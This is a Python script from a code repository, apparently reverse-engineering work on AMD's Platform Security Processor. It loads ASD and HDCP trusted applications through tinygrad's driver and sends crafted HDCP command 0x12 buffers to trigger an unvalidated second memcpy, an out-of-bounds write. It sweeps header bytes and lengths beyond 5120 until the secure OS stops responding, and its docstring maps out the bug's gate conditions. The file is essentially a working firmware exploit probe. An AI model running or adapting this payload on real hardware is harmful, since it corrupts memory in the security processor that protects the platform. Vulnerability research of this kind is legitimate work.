aboutsummaryrefslogtreecommitdiffstats
path: root/psp_out/probe_asd_308_gate.py
blob: b3b4a4967b2a7f19faba9065ff8a5c12b14c013d (plain) (blame)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
"""Fire the ASD cmd 0x308 OOB copy via HDCP cmd 0x12.

Payload byte layout (first 8 bytes of the buffer at shm+0x10):
  b0 = 0x91   -> sub_D134C4: (b0>>4)==9 && (b0&0xF)==1  => UNBOUNDED length branch
  b1 = 0x00
  b2,b3       -> a2 = (b2<<8)|b3 ; need a2 > v15 (a global-derived u16) -> use 0xFFFF
  b4 = 0x00
  b5,b6,b7    -> len2 = b5<<16|b6<<8|b7   (24-bit BE)  the SECOND copy length

sub_D13340:
  first copy  : asd_memcpy(v23[5120], buf, a1)      a1 in [48,5120]  (we send 0x1400)
  len2 re-derived from b5..b7, never re-validated
  gate        : v15 < a2  &&  sub_D134C4(...) == 0
  second copy : sub_D010E0(global 0xd1f038, v23, len2)   <- OOB when len2 > 5120

Escalate len2 and watch for divergence.
"""
import ctypes, struct, time
from tinygrad import Device
from tinygrad.runtime.autogen.am import am
from tinygrad.helpers import lo32, hi32

d=Device["AMD"]; adev=d.iface.dev_impl; psp=adev.psp
SZ=ctypes.sizeof(am.struct_psp_gfx_cmd_resp)
def stat(): return int.from_bytes(bytes(adev.vram.view(psp.cmd_paddr,SZ)[:])[864:868],"little")
def alloc(n):
    pa=adev.mm.palloc(n,align=0x1000,zero=True); return pa,adev.paddr2mc(pa)
P='/Users/user/dev/amd-psp-re/psp_out/'
def load(cmd,blob):
    ap,amc=alloc(0x40000); cp,cmc=alloc(0x8000)
    adev.vram.view(ap,len(blob))[:]=blob; adev.gmc.flush_hdp()
    adev.vram.view(psp.cmd_paddr,SZ)[:]=b"\x00"*SZ
    c=am.struct_psp_gfx_cmd_resp(cmd_id=cmd); t=c.cmd.cmd_load_ta
    t.app_phy_addr_hi,t.app_phy_addr_lo=hi32(amc),lo32(amc); t.app_len=len(blob)
    t.cmd_buf_phy_addr_hi,t.cmd_buf_phy_addr_lo=hi32(cmc),lo32(cmc); t.cmd_buf_len=0x8000
    r=psp._ring_submit(c); return r.resp.session_id,cp
load(am.GFX_CMD_ID_LOAD_ASD, open(P+'asd_full.bin','rb').read())
sid,shm = load(am.GFX_CMD_ID_LOAD_TA, open(P+'hdcp_full.bin','rb').read())
print("HDCP sid=%#x  (cmd 0x12 needs no session/topology/display)\n" % sid)

def inv(buf,tc):
    adev.vram.view(shm,0x8000)[:]=bytes(buf); adev.gmc.flush_hdp()
    adev.vram.view(psp.cmd_paddr,SZ)[:]=b"\x00"*SZ
    ic=am.struct_psp_gfx_cmd_resp(cmd_id=am.GFX_CMD_ID_INVOKE_CMD); iv=ic.cmd.cmd_invoke_cmd
    iv.session_id,iv.ta_cmd_id=sid,tc
    t0=time.time()
    try: psp._ring_submit(ic); return 0, bytes(adev.vram.view(shm,0x2000)[:]), time.time()-t0
    except RuntimeError: return stat(), bytes(adev.vram.view(shm,0x2000)[:]), time.time()-t0
    except TimeoutError: return "TIMEOUT", None, time.time()-t0

BUFLEN = 0x1400
def fire(b0, a2val, len2):
    body = bytearray(b'\x00'*BUFLEN)
    body[0] = b0
    body[1] = 0x00
    body[2] = (a2val >> 8) & 0xFF
    body[3] = a2val & 0xFF
    body[4] = 0x00
    body[5] = (len2 >> 16) & 0xFF
    body[6] = (len2 >> 8) & 0xFF
    body[7] = len2 & 0xFF
    for i in range(8, BUFLEN): body[i] = 0x41
    b = bytearray(0x8000)
    struct.pack_into('<I', b, 0, 0x12)
    struct.pack_into('<I', b, 0xC, BUFLEN)     # first-copy length (valid)
    b[0x10:0x10+BUFLEN] = body
    ps,out,dt = inv(b, 0x12)
    ta = struct.unpack_from('<I',out,4)[0] if out is not None else None
    return ps,ta,dt

print("%-38s %-9s %-8s %-8s %s" % ("case","psp","ta_ret","elapsed","sOS"))
CASES = []
# sweep b0 nibbles x lengths, plus a2 variants, looking for ANY ta_ret==0 with a2 large
for b0 in (0x91, 0x90, 0x92, 0x81, 0x80, 0x99, 0x9F):
    for l2 in (0x187, 0x1400, 0x2000):
        CASES.append(("b0=%#04x len2=%#07x a2=0xFFFF" % (b0,l2), b0, 0xFFFF, l2))
# also probe the a2 boundary to locate v15 (the global-derived threshold)
for a2v in (0x0001, 0x0010, 0x0100, 0x0400, 0x0800, 0x1000, 0x4000, 0x8000, 0xFFFF):
    CASES.append(("a2=%#06x b0=0x91 len2=0x2000" % a2v, 0x91, a2v, 0x2000))
for name,b0,a2v,l2 in CASES:
    ps,ta,dt = fire(b0,a2v,l2)
    alive = psp.is_sos_alive()
    print("%-38s %-9s %-8s %7.2fs %s" % (name, ps, ta, dt, alive))
    if ps=="TIMEOUT" or not alive:
        print("   *** PSP/ASD DOWN ***"); break
print("\nsOS alive:", psp.is_sos_alive())